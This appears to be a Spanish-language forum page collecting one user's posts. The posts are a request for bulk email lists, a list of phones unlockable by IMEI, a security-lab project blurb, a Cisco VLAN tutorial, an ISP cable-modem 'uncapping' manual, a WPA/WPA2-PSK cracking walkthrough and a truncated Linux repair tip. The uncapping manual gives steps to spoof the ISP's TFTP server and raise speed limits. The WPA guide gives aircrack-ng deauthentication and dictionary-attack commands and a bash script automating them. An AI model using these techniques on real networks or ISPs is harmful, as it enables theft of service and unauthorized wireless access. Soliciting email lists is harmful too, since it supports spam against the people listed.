Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - $ad

Páginas: [1]
1
Si alguien conoce o tiene listas de correos electronicos o BD o CD's con BD de correos electrónicos por favor que los pase.

Gracias y saludo.

2
Phreak / Móviles para liberar via IMEI
« en: Abril 03, 2011, 07:36:40 am »
- ALCATEL: Modelos HC-800, HC-1000 y Hx1 (estos ultimos son los antiguos One Touch monobanda, los que están por detras de los modelos db).

- NOKIA: Cualquier nokia puede ser liberado en la actuliadad por imei. Sea el que sea, el más antiguo al más moderno.
NOKIA:1100,1100a,1100b,1101,2300,3100,3100b,3105,3 108,3120,3200,3200b,
3300,3350,3510,3510i,3520,3530,3560,3570,3585,3585 i,3586,3586i,3588,3588i,
3590,3590e,3595,3595e,3610,3650,5100,5100e,6100,61 00e,6108,6200,6200e,
6220,6225,6310,6310i,6310e,6340,6340i,6340e,6360,6 370,6385,6390,6500,
6510,6510e,6560,6585,6590,6590i,6590e,6610,6610e,6 620,6650,6800,6800e,
6810,6820,7200,7210,7210e,7210i,7250,7250i,7250e,7 700,8310,8310i,8310e,
8390,8390e,8510,8510e,8910,8910i,8910e,9210,

640,650,1220,1260,1261,2100,2146,2160,2160i,2170,2 180,2190,
2260,2270,2285,3210,3260,3285,3310,3310e,3315,3320 ,3330,3350,
3360,3361,3365,3390,3390b,3395,3410,3610,3810,5110 ,5110i,5120,5120i,5125
5130,5140,5146,5148,5160,5165,5170,5170i,5180,5185 ,5185i,5190,5210,5510,
6090,6110,6110i,6120,6120i,6130,6138,6150,6150e,61 60,6160i,6161,6162,
6170,6185,6188,6190,6210,6210e,6250,6290,7110,7160 ,7190,72xx,73xx,8210,
8250,8260,8265,8265i,8270,8280,8290,8810,8850,8855 ,8860,8890,9000,9000i,
9110,9110i,9210,9210e,9210e,9290,nk402,nk503,nk702 ,ringo
Nokia 1100, , 1110, 1260, 1600, 2100, 2160, 2170, 2180, 2190, 2220, 2260, 2270, 2280, 2300, 2600, 2650, 3100, 3120, 3200, 3210, 3220, 3230, 3285, 3300, 3310, 3315, 3320, 3330, 3350, 3360, 3390, 3395, 3410, 3510, 3520, 3530, 3560, 3570, 3590, 3600, 3610, 3620, 3650, 3660, 3810, 5100, 5110, 5120, 5125, 5130, 5140, 5146, 5160, 5190, 5210, 5510, 6020, 6030, 6090, 6100, 6101, 6102, 6108, 6110, 6111, 6120, 6130, 6138, 6150, 6160, 6161, 6162, 6170, 6185, 6190, 6200, 6210, 6220, 6225, 6230, 6250, 6260, 6310, 6340,6360, 6370, 6500, 6510, 6560, 6590, 6600, 6610, 6620, 6650, 6660, 6670, 6800, 6810, 6820, 7110, 7160, 7190, 7200, 7210,7210, 7210i, 7250, 7250, 7250i, 7260, 7270, 7280, 7600, 7610, 7650, 7700, 7710, 8210, 8250, 8260, 8265, 8270, 8280, 8290, 8310, 8390, 8510, 8800, 8810, 8850, 8855, 8860, 8890, 8910, 9000, 9110, 9210, 9290, N-gage and N-gage QD.

Excepto Nokia 2310,2610,5200, 6125, 6131, 6151, 6234, 6280, 6630, 6650,6680, 7370, 7380, E50, E60,E61, N70, N71,N72,N73,N75,N80, N90, N91,N92,N93,N95 que no pueden ser liberados por imei GRATIS en la actualidad

- LG: Modelos 1200, 1300, 510, 520, 510W, 7010, 7020, B1200, B1300, G510, M1200, M1300, W3000, C1200, G3000, G5200 y W5200.

- NEC: Modelos C313, C316, E606, E613, E616, E808.

- SAMSUNG: Modelos A300, A400, A800, E500, E700, E715, M100, P400, S100, S105, S300, S307, S500, SGH-600, SGH-2100, V200, X100, X600.

- SIEMENS: Modelos 8008, CL50, CL55, ST55.

- SONY: Modelos CMD-C1, CMD-CD5 (no confundir con Sony Ericsson)

- PANASONIC: Modelos G50, GD50, G51, GD55.

3
Bugs y Exploits / [Seguridad Informatica] Sec-Track
« en: Mayo 17, 2010, 12:26:21 pm »


Sec-Track es un proyecto colaborativo que ofrece un repositorio de recursos relacionados con la implementación y desarrollo de laboratorios de entrenamiento e investigación sobre Seguridad Informatica. Estos recursos son distribuidos por medio de entornos virtualizados que asemejan entornos reales, dichos entornos pueden ser implementados en diferentes ambientes de capacitación e investigación.

Sec-Track ofrece también un amplio repertorio de instrucciones para la implementación de entornos de virtualización, con la finalidad de que cada interesado en implementar uno de los laboratorios y/o entornos disponibles pueda hacerlo simplemente siguiendo dichas instrucciones.

Sec-Track pone a disposición la documentación base para el desarrollo de entornos virtualizados por parte de los usuarios inscritos. Estos serán publicados en Sec-Track y cualquier persona, organización o entidad podrá descargarlos y tratar de cumplir con los objetivos propuestos por sus desarrolladores.

Otro de los objetivos de Sec-Track es ofrecer un espacio colaborativo en el cual, las diferentes comunidades y usuarios puedan publicar sus propios entornos de entrenamiento, retos y pruebas en cualquiera de las diferentes temáticas, con la finalidad de que las demás comunidades puedan descargarlos e implementarlos para buscar una solución al mismo, pero aun más importante generar la respectiva documentación de dicho proceso.


¿Cuáles son las temáticas que abarca Sec-Track?
Sec-Track tratará de cubrir cada una de las temáticas relacionadas con la seguridad informática. Por ahora ofrecemos los siguientes campos de acción:

    * Test de Penetración
    * Análisis de Malware
    * Criptografía
    * Aseguramiento (Hardening)
    * Ingeniería Inversa
    * Informática Forense
    * Gobierno IT


¿Cómo funciona Sec-Track?
Sec-Track es un proyecto colaborativo. Por lo tanto espera ser autosostenible a nivel de contenido y publicaciones.

Esto quiere decir que se publicarán una serie de entornos, retos, pruebas, wargames, etc. y estos deben ser solucionados por sus propios usuarios (comunidades, grupos de estudio e investigación, empresas, listas de seguridad, etc.)

La finalidad es que alguno de estos grupos publique la respectiva documentación (papers, video tutoriales, audios) de como realizó dicho proceso.

Si uno de estos grupos tiene una nueva propuesta basada en los entornos publicados o sobre nuevos entornos (aseguramiento, análisis forense, aumento de complejidad de las técnicas utilizadas) puede utilizar el formulario de contacto y enviar estas ideas para que sean implemetadas en Sec-Track.

Fuente: http://www.sec-track.com/

4
Redes y antenas / [Tutorial] Redes [VLAN] {Que son y como crearlas}
« en: Mayo 08, 2010, 11:59:29 am »
VLan´s para newbies por Han

Bueno cuando estaba comenzando en esto de las redes este fue uno de los temas que mas me sorprendio ( obvio estaba comenzando )

 Vlan significa: Virtual Lan , en otras palabras podemos configurar varias Lan (virtuales) en una sola "Lan" (fisica) ... una imagen es mejor que 1000 palabras.

tenemos esta topologia de red fisicamente (imagen 1) :

1 SW Cisco ( Imagen 2 )( Main SW - puede ser cualquier otra marca, lo que importa es que sea administrable)
8 Equipos que pertenecen cada uno a un departamento (Ingenieria , logistica, administrativo)
todos los vamos a conectar al mismo SW (Imagen 2)

Imagen 1

Imagen 2



ahora comenzamos a conectar y configurar las IP de cada equipo ( Imagen 3 y 4)


Imagen 3


Imagen 4


Listo tenemos la infraestructura Fisica de la imagen 5
Imagen 5

Diagrama 1

Departamento Ingenieria
 Desarrollador ----------- 10.0.0.1
 Ing Storate -------------- 10.0.0.2
 Aux Ingenieria ---------- 10.0.0.3

Departamento Logistica
 Logistica 1 ---------------10.0.0.4
 Logistica 2 --------------- 10.0.0.5

Departamento Administravito
 Admisnitrativo 1 ----------- 10.0.0.6
 Admisnitrativo 2 ----------- 10.0.0.7
 Admisnitrativo 3 ----------- 10.0.0.8



pero lo que vamos a lograr tener con la configuracion que vamos a hacer es algo como esto ( imagen 6)

Imagen 6

Osea estamos emulando 3 Lan ( Virtuales) con 1 solo SW fisico ... como se logra esto ?? modificando las propiedades del SW.

Para esto nos conectamos al SW por un cable de consola ( que en simulador es IOS Command) y entramos al SW.

este simulador es tan preciso que cuando ingresamos a el SW nos muetra lo que en realidad nos mostraria nuestro pc al acceder al SW que seria esto :

Código: [Seleccionar]
C2950 Boot Loader (C2950-HBOOT-M) Version 12.1(11r)EA1, RELEASE SOFTWARE (fc1)
Compiled Mon 22-Jul-02 18:57 by miwang
Cisco WS-C2950-24 (RC32300) processor (revision C0) with 21039K bytes of memory.
2950-24 starting...
Base ethernet MAC Address: 00D0.584E.B340
Xmodem file system is available.
Initializing Flash...
flashfs[0]: 1 files, 0 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 64016384
flashfs[0]: Bytes used: 3058048
flashfs[0]: Bytes available: 60958336
flashfs[0]: flashfs fsck took 1 seconds.
...done Initializing Flash.

Boot Sector Filesystem (bs:) installed, fsid: 3
Parameter Block Filesystem (pb:) installed, fsid: 4


Loading "flash:/c2950-i6q4l2-mz.121-22.EA4.bin"...
########################################################################## [OK]
              Restricted Rights Legend

Use, duplication, or disclosure by the Government is
subject to restrictions as set forth in subparagraph
(c) of the Commercial Computer Software - Restricted
Rights clause at FAR sec. 52.227-19 and subparagraph
(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227-7013.

           cisco Systems, Inc.
           170 West Tasman Drive
           San Jose, California 95134-1706



Cisco Internetwork Operating System Software
IOS (tm) C2950 Software (C2950-I6Q4L2-M), Version 12.1(22)EA4, RELEASE SOFTWARE(fc1)
Copyright (c) 1986-2005 by cisco Systems, Inc.
Compiled Wed 18-May-05 22:31 by jharirba

Cisco WS-C2950-24 (RC32300) processor (revision C0) with 21039K bytes of memory.
Processor board ID FHK0610Z0WC
Running Standard Image
24 FastEthernet/IEEE 802.3 interface(s)

63488K bytes of flash-simulated non-volatile configuration memory.
Base ethernet MAC Address: 00D0.584E.B340
Motherboard assembly number: 73-5781-09
Power supply part number: 34-0965-01
Motherboard serial number: FOC061004SZ
Power supply serial number: DAB0609127D
Model revision number: C0
Motherboard revision number: A0
Model number: WS-C2950-24
System serial number: FHK0610Z0WC

Cisco Internetwork Operating System Software
IOS (tm) C2950 Software (C2950-I6Q4L2-M), Version 12.1(22)EA4, RELEASE SOFTWARE(fc1)
Copyright (c) 1986-2005 by cisco Systems, Inc.
Compiled Wed 18-May-05 22:31 by jharirba

Press RETURN to get started!


%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/2, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/2, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/3, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/3, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/4, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/4, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/5, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/5, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/6, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/7, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/7, changed state to up
%LINK-5-CHANGED: Interface FastEthernet0/8, changed state to up
%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/8, changed state to up

Listo ahora le decimos a el SW que queremos entrar en el modo "habilitado" que seria enable en ingles, para esto le damos el siguiente comando

Código: [Seleccionar]
Switch>enable
y con esto entrara al modo "habilitado" , ahora vamos a ver que Vlan tiene el SW por defecto, para esto damos el comando :

Código: [Seleccionar]
Switch#show vlan
y con esto nos mostrata la imagen 7

PD1: notese que cuando se cambia de un prom a otro cambia de caracter, al principio estaba " Switch>" y ahora esta "Switch#"

Imagen 7

la imagen 7 nos dice algo muy importante y es que por defecto el SW ya utiliza el concepto de vlan, notemos que todas las interfaces estan en la vlan1 osea que todos los puertos fisicos del SW corresponden a sola 1 LAN virtual, es esta la razon por la cual los equipos por defecto pueden comunicarse entre si, sin necesidad de hacer ninguna configuracion sobre el SW

PD2: El SW tiene 24 puertos fisicos , donde la interface FastEthernet 0/1 del que nos hablaran mas adelante corresponde al puerto 1 fisico del SW, osea el hueco numero 1 donde podemos poner un cable de red (mirar imagen 2)

Listo sabiendo esto ahora, vamos a proceder a crear mas Vlan ( las 3 vlan que queremos ), para esto en el mismo modo en que estamos ingresamos el comando

Código: [Seleccionar]
vlan database
con este comando ingresaremos a la base de datos de las vlans para poder crear y modificarlas, para crear una nueva vlan damos el comando

Código: [Seleccionar]
vlan 2 name Ingenieria
donde 2 es el numero consecutivo de la vlan que queremos crear, como la vlan 1 ya existe ( por defecto) usamos la 2 y donde ingenieria coresponde a un nombre descriptivo para la vlan

nos quedara algo asi (imagen 8)

Imagen 8

con esto ya hemos creado las 2 Lan virtuales que queremos para segmentar la red fisica que tenemos (usaremos la vlan2 para ingenieria, la vlan3 para logistica y la vlan1 por defecto para administrativo).

con esto solo le hemos dicho al SW que tenemos 3 Lan virtuales, pero ahora como le decimos que el equipo 1 corresponde a la vlan 2, pues sencillo, ingresamos a un modo ahora llamado "configuracion de terminal" y le diremos a cada interface del SW a que vlan corresponde (recuerda que la interface corresponde a el puerto fisico del SW (imagen 2))

para ingresar al modo configuracion de terminal tecleamos

Código: [Seleccionar]
configure terminal
y el prom quedara asi

Código: [Seleccionar]
Switch(config)#
ahora desde este modo ingresaremos a la interface Fast Ethernet 0/1 ( corresponde a el puerto fisico 1 del SW donde esta conectado el equipo 1 del departamento de ingenieria) y le diremos que ese puerto pertenece a la vlan 2

comandos

Código: [Seleccionar]
Switch(config)#interface fastEthernet 0/1
el prom quedara asi

Código: [Seleccionar]
Switch(config-if)#
y luego le diremos que el puerto es de modo aceso

Código: [Seleccionar]
Switch(config-if)#switchport mode access
y por ultimo le diremos que pertenece a la vlan2

Código: [Seleccionar]
Switch(config-if)#switchport access vlan 2
y asi susecivamente para todas las interfaces ( mirar imagen 9)

Imagen 9

listo ya tenemos nuestras vlans creadas y los puertos asignados, miremos como lo muestra de nuevo el SW.

vamos a el modo enable de nuevo (desde el modo configuracion de terminal no se puede mirar esto)

y damos el comando

Código: [Seleccionar]
show vlan
y nos mostrata las vlan y los puertos asignados (comparar imagen 10 con imagen 7)

imagen 10


y ahora probaremos la configuracion hacindo ping entre los equipos, y esto es lo que deberia de pasar

departamento de ingenieria debe tener conectividad entre si, pero no puede tener con logistica ni con administrativo

osea las IP de Ingenieria deberia tener respuesta ( ping) entre ellos pero no con ninguna IP de otro departamento ( Mirar diagrama 1 ... arriba )


Imagen 11

notemos que estoy haciendo la prueba sobre el equipo desarrollador (perteneciente a el departamento ingenieria y que tiene IP 10.0.0.1) y este equipo puede ver a sus compañeros 10.0.0.2 y 10.0.0.3, pero no puede ver a el equipo 10.0.0.4 ni al 10.0.0.5 (logistica ... request time out) ni tampoco puede ver a los de la vlan1 (administrativo)


CONCLUCION: tenemos 3 redes virtualmente separada en 1 solo SW fisico.


Autor: Han
Fuente: CPH

5
Redes y antenas / Manual Uncapping
« en: Mayo 08, 2010, 11:52:38 am »
Este texto no fue invencion mia, mas bien fue una traduccion de varios textos encontrados en la web de  www.cablemodemhack.net yo los traduje y lo recopile en este pequeño texto :-)

Antes que otra cosa se estaran preguntando ¿que demonios es el uncapping?, bueno en la traduccion al español seria algo asi como "destapar", nuestro modem nada mas y nada menos!! si alguna vez has soñado con acelerar tu conexion por cable a velocidades como 2mbps con este texo es posible!.

Advierto que la tecnica que describo a continuacion es con fines educativos ;-) y el que escribe esto no se hace resonsable de los usos no apropiados que se le pueda dar a esta informacion...

IntrducCion! Cada vez que encedemos nuestro modem este se conecta de forma automatica al TFTP(Trivial Transfer Protocol)de nuestro ISP y pide nuestro archivo de configuracion por lo general llamado "384kbps.cm" en mi caso asi se llama ya q mi conexion es a esa velocidad, este mismo archivo controla la velocidad de nuestra conexion, y nuestro objetivo es pillarlo, modificar sus valores y subirlo de nuevo al TFTP asi podremos cambiar nuestra velocidad sencillo no! ;-)

¿Como hacerlo? Dirigete a http://www.tcniso.net/Nav/Software/
Y descargate los TCniSo steps 1,2,3,5 Ahora lo que tienes que hacer es seguir los siguientes pasos:


1) Abre el programa TCNiso step 1 y picale en donde dice "Star Query", esto generara un archivo donde se guardaran los datos necesarios para llevar a cabo el siguiente paso.

2)Bajate el archivo de configuracion de tu ISP con el TCNiso step 2, no olvides poner este programa en la misma carpeta que el anterior, ejecutalo y descargaras el archivo de configuracion que puede llamarse 64kbps_pc01.bin o 384kbps.cm (en mi caso asi se llama).

3)Abre el archivo que bajaste con el programa DocSiS32 Pro o con el ConfigEdit, igual los bajas de la web q te di antes. Un archivo de configuracion se ve mas o menos asi...(recuerda que depende mucho de tu ISP la estructura pero imagino que no cambia mucho)

Main {
DownstreamFrequency 435000000;
UpstreamChannelId 0;
NetworkAccess 1;
ClassOfService {
ClassID 1;
MaxRateDown 384000;
MaxRateUp 64000;
}
MaxCPE 1;
/* EndOfDataMarker */
/* Pad */


Aqui lo unico que modificaremos es el MaxRateDown (que es la velocidad de download)por la velocidad que nosotros queramos por ejemplo si quisieramos acelerarla a 512kbps seria MaxeRateDown 512000 y la de MaxRateUp que es la velocidad de upload. Trata de no poner numero enormes porq tu ISP podria darse cuenta y te meterias en un buen lio... :-(

Guarda este archivo en otra carpeta pero con el mismo nombre y extension, que el archivo original.

4)Bueno ahora es tiempo de configurar tu PC:

*Si eres usuario de Win98 o WinMe deberas deshabilitar tu tarjeta de red para hacer este paso, esto es para evitarse estar reiniciando la PC q hueva :[email protected]!, para deshabilitar tu tarjeta de red: da click derecho en Mi Pc-->Administrador de Dispositivos-->Buscas tu modem-->Propiedades-->Deshabilitar este perfil de Hardware, ahora ya deshabilitada te vas a las propiedades de la Red en el Panel de Control (no me pregunten como hacerlo eso es basico!)y modificamos los siguientes valores:

+Nuestra direccion IP la cambiamos por la direccion del DHCP server esta la podemos averiguar AQUI

+Mascara de Subred: 255.255.255.0

+Puerta de enlace: 192.168.100.1 que es la ip de nuestro ETHERNET.

Terminando esto le dan aceptar, y si les pide reiniciar lo ponen que no, en vez de esto vuelven a habilitar la tarjeta de red con los mismo pasos q describi antes solo a ahora la habilitan sencillo! bien pasemos al paso 5

5)Bueno ahora ejecutaremos el TFTP Server tambien lo descargas de la pagina q te di, aqui solo le das la ruta de donde guardaste el archivo modificado (el 384kbps.cm o como se llame), despues de esto le quitas la corriente al modem o lo desconectas es lo mismo y activas el TFTP Server, te esperas unos 15 seg y vuelves a conectar el modem, veras q despues q se ponga online el modem habras enviado el nuevo archivo de configuracion, en pocas palabras lo que hicimos fue hacerle creer al modem que el servidor era nuestra maquina jeje ;-) NOTA: Aveces en el programa veras todo negro debido a q el fondo y las letras son del mismo color asi q seleccionandolas con el mouse resolveras este problema...Cuando hayas visto q se mando el archivo cierras el TFTP server y vamos al sexto y ultimo paso!!

6)Ahora solo debemos regresar los valores del IP y todo eso a como estaban, (ANTES DESACTIVA TU TARJETA DE RED) Direccion IP "Obtener una direccion IP automaticamente", elimina la puerta de enlace , la mascara de Subred a como estaba :-p ...Ahora activa tu Tarjeta de Nuevo y listo acabas de hacer el unNcaPpinG! creo que notaras el cambio de velocidad...

Bueno es todo por ahora espero que este pequeño texto les haya servido, una vez mas aclaro esta fue una traduccion y recopilacion de textos encontrados en la web...

_________________________________________

Antes de cloncluir este manual, quería comentaros mi problemilla, pues que me bloqueo en el paso 2, cuando abro el TCNiSOStep2.exe, le doy al enlace de "GET FILE", me da error, y no me crea el archivo de configuración, y sin el archivo de configuración no se puede hacer el Uncapping, jeje, me podrían echar un cable (nunca mejor dicho xD).

Autor: hello
Fuente

6
Seguridad Wireless / Cracking WPA/WPA2-PSK
« en: Mayo 07, 2010, 05:04:55 pm »

-[ INFORMACIÓN ]---------------------------------------------------------------------

   Titulo: Cracking WPA/WPA2-PSK with wordlist
   Autor: ka0x
   Contacto: ka0x01[alt+64]gmail.com
   Fecha: 08/03/2009

---------------------------------------------------------------------------------


-[ ÍNDICE ]---------------------------------------------------------------------

   0x01: Introducción
   0x02: ¿Qué es el handshake?
   0x03: Capturando handshake
   0x04: Conseguir clave con diccionario
   0x05: airoWPA-PSK.sh
   0x06: Fin


---------------------------------------------------------------------------------


---[ 0x01: Introducción ]

En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2
en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK).
Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake
para obtener la clave.

Imaginemos que en este caso tenemos la siguiente red inalambrica:

- ESSID: ap_labs
- BSSID: 00:1B:02:93:AF:9C
- CANAL: 1
- CLIENTE: 01:C2:B3:04:02:05


---[ 0x02: ¿Qué es el handshake? ]

Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica,
es como un saludo (apretón de manos) entre el punto de acceso y el cliente.
Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación.
para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber
capturado estos paquetes.

---------------------------------------------------------------------------------



---[ 0x03: Capturando handshake ]

Bueno empecemos...
Utilizamores la suite de aircrack-ng,  si queremos los sources y demás
podemos entrar a su web: http://www.aircrack-ng.org/doku.php#download

Si utilizamos debian, encontraremos el paquete en los repositorios, instalar:
Código: [Seleccionar]
# apt-get install aircrack-ng
Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor:

Código: [Seleccionar]
# airmon-ng start <iface>
p.e: # airmon-ng start wlan0


Siempre se necesitará tener un cliente 'real' asociado en el AP.
Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng:

Código: [Seleccionar]
# airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0
--bssid -> MAC del punto de acceso.
-w redWPA -> guardará los datos obtenidos en el archivo "redWPA".
-c -> Canal del punto de acesso
wlan0 -> interfaz adaptador inalambrico.

Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C
Entonces vayamos a capturar el handshake...


Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP.
Entonces, cómo hacemos que se vuelva asociar el cliente al AP?

Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar,
para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de
desautenticacion

Uso:
Código: [Seleccionar]
# aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>
|-> Numero de desautenticaciones que se enviarán.
     Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.

En este caso:
Código: [Seleccionar]
# aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0
Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así:
Sending DeAuth to station   -- STMAC: [01:C2:B3:04:02:05]

En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng
capturaremos el handshake.

¿Cómo sabemos que ya lo hemos capturado?

Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así:
CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C

Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos
el dichoso handshake =)

---------------------------------------------------------------------------------


---[ 0x04: Conseguir clave con diccionario ]


Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves
para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide
con la del AP.

¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos...
aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás
que saber de sobra tu clave.

La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres.

Empecemos...

Si ejecutamos:
Código: [Seleccionar]
# aircrack-ng redWPA-01.cap
Podremos ver que tenemos un handshake:

---------
Código: [Seleccionar]
Opening wpa-hand.cap
Read 553 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1B:02:93:AF:9C  ap_labs                WPA (1 handshake)  <------

Choosing first network as target.

Opening wpa-hand.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...
---------

Uso de aircrack-ng con diccionario:
Código: [Seleccionar]
# aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>

Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama
redWPA-01.cap, lo ejecutaremos de la siguiente forma:

Código: [Seleccionar]
# aircrack-ng -w diccionario.lst redWPA-01.cap
Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla.
Una vez obtenida, nos aparecerá lo siguiente:

---------

                                 
Código: [Seleccionar]
Aircrack-ng 1.0 rc1


                   [00:00:00] 0 keys tested (0.00 k/s)


                           KEY FOUND! [ clave__ap ]


      Master Key     : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9
                       DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09

      Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5
                       8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0
                       C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0
                       F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78

      EAPOL HMAC     : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26

---------

Hay ya vemos que encontro la clave y que es 'clave__ap'.
Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando
sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso semanas
depende el diccionario que usemos.

---------------------------------------------------------------------------------



---[ 0x05: airoWPA-PSH.sh ]

Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash
sencillo que te puede servir si eres un poco vago :P

<-----------------airoWPA-PSK.sh--------------------->
Código: [Seleccionar]
#!/bin/bash

# airoWPA-PSK.sh v0.1
# written by ka0x <ka0x01[at]gmail.com>

if [ $UID != 0 ]; then
echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO"
exit
fi

comprueba_mac(){
if [ ! "${#1}" -eq "17" ]; then
echo -e "\033[31mMac Incorrecta\n\033[0m"
exit
fi
}
interfaces() {
echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n"
INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }')
select INTER in $INTERFACES; do
break;
done
clear
}

monitor(){
airmon-ng start $INTER
clear
menu
}

handshake(){
clear
read -p "[-] Introduzca la MAC del AP: " mac_ap
comprueba_mac $mac_ap
read -p "[-] Introduzca la MAC del Cliente: " mac_client
comprueba_mac $mac_client
read -p "[-] Introduzca el canal del AP: " mac_chanel
read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas
xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu
}

desautenticacion(){
clear
read -p "[-] Introduzca la MAC del AP: " mac_ap
comprueba_mac $mac_ap
read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente
comprueba_mac $mac_cliente
read -p "[-] Introduzca el numero de desautenticaciones: " num
xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER
clear
menu
}

crack_dicc(){
clear
read -p "[-] Introduzca la ruta del diccionario: " diccionario
echo "[-] Seleccione el archivo de datos capturados:"

LS_DIR=$(ls *.cap)
select DATA in $LS_DIR; do
break;
done

xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA
menu
}

menu(){
echo -e "\n[*] Opciones:\n"
echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m"
echo "1 - Activar Modo Monitor"
echo "2 - Capturar handshake"
echo "3 - Desautenticar cliente"
echo "4 - Obtener clave con diccionario"
echo "5 - Salir"
echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"

read -p "opcion> " OPCION

case $OPCION in
"1") monitor;;
"2") handshake;;
"3") desautenticacion;;
"4") crack_dicc;;
"5") exit;;
*) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;

esac
}

interfaces
menu

# __EOF__
<------------------------------------------------>

---------------------------------------------------------------------------------


---[ 0x06: Fin ]

Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden
entrar a la web de aircrack-ng (http//www.aircrack-ng.org) donde podrán encontrar abundante documentación
o mismamente enviándome un email.

Espero que se entienda.

Un saludo!

# ka0x

---------------------------------------------------------------------------------

__EOF__

# milw0rm.com [2009-03-09]

7
GNU/Linux / Reparar entorno gráfico Ubuntu/Kubuntu
« en: Abril 23, 2010, 05:03:16 pm »
Reparar entorno gráfico Ubuntu/Kubuntu


Los S.O que engloban "el mundo Linux", aportan muchas ventajas respecto a S.O MS Windows, pero como todos, son imperfectos, a continuación, voy a mostrar posibles soluciones para reparar el entorno gráfico de nuestro Linux, puede pasar que al iniciar nuestro sistema Linux, nos encontremos con la sorpresa de que no inicia la "interfaz gráfica" de este, ya sea por instalación defectuosa de un driver, error en algun archivo del sistema que afecte a tal aspecto, etc. Aconsejo que nunca esta mal tener esta información que recopilé, ya que puede ser valiosa a la hora de reparar nuestro sistema:

1º Solución: "Reparar entorno de las Xs", resumiendo, esto segun los paámetros que utilizamos puede ser a la reinstalación de estas:

sudo xorconfig

o

